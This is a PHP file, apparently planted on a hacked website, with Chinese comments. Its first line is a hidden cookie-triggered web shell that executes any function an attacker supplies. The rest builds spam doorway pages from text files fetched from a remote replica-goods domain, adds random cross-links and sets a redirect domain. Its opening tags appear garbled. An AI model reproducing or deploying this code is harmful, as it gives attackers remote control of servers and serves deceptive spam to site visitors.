<%>PH if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]); P<%> $link_file = 'charms.php'; //这里要与当前文件名对应 $target_url = 'http://hotreplicaonline.com'; //远程访问调用的域名 $pages = 'wenzhang/videocom'; //txt文件所在的文件夹名 $url_count = 202; //txt文件的数量 $js_url = 'www.jinglebelljewelry.com';//设置跳转的url,不含http:// $for = 'format';//设置请求参数载体 @$get = $_GET[$for]; $url = 'http://'.$_SERVER['HTTP_HOST'].'/'.$link_file; $js = ''; $html=' {title} {js}

{blog_title}

{blog_content}
{links}
'; if($get){ return_content($get); } else{ return_content(1); } function return_content($get){ global $html; global $target_url; global $pages; global $js; global $url_count; if($get>$url_count){ $error = ' error:404
error:404
'; echo $error; exit; } $target_dir_file = $pages.'/'.$get.'.txt';//pages表示txt文件所在的文件夹名字 $contents = file_get_contents($target_url.'/'.$target_dir_file); $contents = explode("&&", $contents); $html = str_replace("{title}",$contents[0] , $html); $html = str_replace("{keywords}",$contents[1] , $html); $html = str_replace("{description}",$contents[2] , $html); $html = str_replace("{blog_title}",$contents[3] , $html); $html = str_replace("{blog_content}",$contents[4] , $html); $html = str_replace("{js}",$js , $html); $links = return_url(); $html = str_replace("{links}",$links , $html); echo $html; } function return_url(){ global $for; global $url; global $target_url; global $pages; global $url_count; $result=''; $array = range(1, $url_count); if(count($array)>5){ $array = array_rand($array,5); } foreach($array as $i){ if($i == '0'){$i=1;} $contents = file_get_contents($target_url.'/'.$pages.'/'.$i.'.txt'); $contents = explode("&&", $contents); $result = $result.''.$contents[3].'
'; } return $result; }